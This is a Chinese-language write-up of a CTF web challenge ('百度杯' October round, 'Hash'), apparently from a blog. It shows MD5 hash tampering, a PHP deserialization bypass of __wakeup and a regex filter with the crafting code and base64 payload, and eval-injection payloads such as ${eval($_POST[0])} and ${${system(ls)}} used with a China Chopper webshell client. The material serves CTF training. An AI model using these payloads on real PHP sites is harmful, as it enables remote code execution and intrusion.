前言

涉及知识点:反序列化、代码执行、命令执行

题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用

或者利用本文章提供的源码自主复现

[i春秋]“百度杯”CTF比赛 十月场-Hash

点击hahaha进入下一个页面

进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag

我们分析URL key部分有个123 我们替换成122试试 试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现

http://地址/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb

md5解密那个hash=kkkkkk01123  根据直觉把后三位替换成和我们key一致的 替换后hash=kkkkkk01122 然后cmd5把hash的值加密 重新组合url提交

//修改key hash的
payload:
http://地址/index.php?key=122&hash=e1ebb04a0a78afe23e2d542e72a25005

获得新的页面访问去。

访问获得这个页面的源码

 1  <?php
2 class Demo {
3 private $file = 'Gu3ss_m3_h2h2.php';
4
5 public function __construct($file) {
6 $this->file = $file;
7 }
8
9 function __destruct() {
10 echo @highlight_file($this->file, true);
11 }
12
13 function __wakeup() {
14 if ($this->file != 'Gu3ss_m3_h2h2.php') {
15 //the secret is in the f15g_1s_here.php
16 $this->file = 'Gu3ss_m3_h2h2.php';
17 }
18 }
19 }
20
21 if (isset($_GET['var'])) {
22 $var = base64_decode($_GET['var']);
23 if (preg_match('/[oc]:\d+:/i', $var)) {
24 die('stop hacking!');
25 } else {
26
27 @unserialize($var);
28 }
29 } else {
30 highlight_file("Gu3ss_m3_h2h2.php");
31 }
32 ?>

通过分析又发现了新的页面下一步我们就是要通过这个存在序列化漏洞的页面构造语法来获取the f15g_1s_here.php的源码。

1.绕过_wakeup()这个函数 因为我们在反序列化时会判断这个函数是否存在如果存在就执行替换成下面的页面 所以我们要阻止它运行

绕过_wakeup参考:https://www.cnblogs.com/xhds/p/12243760.html

2.绕过过滤 首先这里是get接受之后进行base64的解码 有解码那我们构造后就要编码 ,然后正则表达式判断符不符合它们的条件 如果不符合则就能正常的执行unserialize()函数进行反序列化了

构造的序列化代码

$obj=new Demo('f15g_1s_here.php');
$s=serialize($obj);
$s=str_replace("4","+4",$s);
$s=str_replace(":1:",":8:",$s);
echo base64_encode($s);

序列化的payload:

http://URL/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

访问得到 f15g_1s_here.php 页面的源码

 <?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
} ?>

构造代码执行的语法

第一个方法:

最终payload:

 http://eb85579d4d4149dd98fd95b033fde549c66f85c255ba4225.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[0])}

菜刀连接获得flag

第二个方法:

payload:

http://eb85579d4d4149dd98fd95b033fde549c66f85c255ba4225.changame.ichunqiu.com/f15g_1s_here.php?val=${${system(ls)}}

第三种方法:

菜刀连接payload:

http://453467cea6b64556860e3339a9908319758cf61d8e1942f2.changame.ichunqiu.com/f15g_1s_here.php?val=${${assert($_POST[1])}}

http://eb85579d4d4149dd98fd95b033fde549c66f85c255ba4225.changame.ichunqiu.com/f15g_1s_here.php?val=${${system(ls)}}

[i春秋]“百度杯”CTF比赛 十月场-Hash的更多相关文章

  1. i春秋 百度杯”CTF比赛 十月场 login

    出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...

  2. i春秋-“百度杯”CTF比赛 十月场-Login

    源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西   //  CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了..   分析了半天 后来看了别人的 ...

  3. i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

    0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们 ...

  4. i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)

    查看源码得知由vim编写,所以查找备份以及交换文件 找到 /.index.php.swp ,下载后用vim -r恢复该文件即可得到源码 1 <html> 2 <head> 3 ...

  5. i春秋——“百度杯”CTF比赛 十月场——Not Found(http请求方法,client-ip伪造ip)

    这道题也是让我很迷... 打开就是not found,让我一度以为是服务器挂了,细看发现有个404.php 访问也没发现什么东西,只有来自出题人的嘲讽 haha~ 不过在首页的header中发现个奇怪 ...

  6. i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

    需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...

  7. i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)

    打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>" ...

  8. i春秋——“百度杯”CTF比赛 十月场——Login

    根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 <?php inc ...

  9. i春秋“百度杯”CTF比赛 十月场-Vld(单引号逃逸+报错注入)

    题目源代码给出了提示index.php.txt,打开拿到了一段看不太懂得东西. 图片标注的有flag1,flag2,flag3,同时还有三段字符,然后还出现了_GET,脑洞一一点想到访问 ?flag1 ...

随机推荐

  1. 3号随笔,搭建web环境

    创建数据库可能会遇到的问题 数据库语法错误: 如果写错了就会报错. 搭建web项目,我采用了MVC结构搭建 模型层写数据包装,controller层写业务代码,service写数据库内容,创建之后就搭 ...

  2. spring的xml文件的作用与实现原理

    1.Spring读取xml配置文件的原理与实现 https://www.cnblogs.com/wyq178/p/6843502.html 2.首先使用xml配置文件的好处是参数配置项与代码分离,便于 ...

  3. 数据结构(C++)——顺序栈

    顺序栈结构 #include<iostream> #define MaxSize 50 using namespace std; typedef int ElemType; typedef ...

  4. for循环使用体会

    最近在看源码的时候看到了以下代码: Class[] var2 = componentClasses; int var3 = componentClasses.length; for(int var4 ...

  5. JWT实现过程及应用

    jwt实现过程 # 用户登录,返回给客户端token(服务端不保存),用户带着token,服务端拿到token再校验; 1,提交用户名和密码给服务端,如果登陆成功,jwt会创建一个token,并返回; ...

  6. uniapp微信小程序获取当前用户手机号码(前端)

    按钮触发获取用户信息 uniapp中与微信小程序官网所写会不同, <button open-type="getPhoneNumber" @getphonenumber=&qu ...

  7. php拓展 swoole 安装

    1.git clone https://gitee.com/swoole/swoole.git 2.cd swoole 3./usr/local/php7/bin/phpize 4../configu ...

  8. Qt基础之菜单栏

    本篇介绍Qt菜单栏相关操作,分为三部分:1.菜单栏相关的类介绍:2.系统菜单的生成和响应:3.弹出菜单的生成和响应:菜单栏通常只有以QMainWindow为基类的程序中才用到,以QWidget为基类的 ...

  9. 回流与重绘:CSS性能让JavaScript变慢?

    参考张鑫旭博客: http://www.zhangxinxu.com/wordpress/2010/01/%E5%9B%9E%E6%B5%81%E4%B8%8E%E9%87%8D%E7%BB%98%E ...

  10. jdk的动态代理和静态代理你还写不出来嘛???

    一.什么叫jdk的代理? 用另外一个对象去代理实际对象的操作 分为动态代理和静态代理二.先说说静态代理 从字面意思来看就是不会改变的,只可以代理某个固定对象的. 静态代理就是通过实现和目标对象实现的同 ...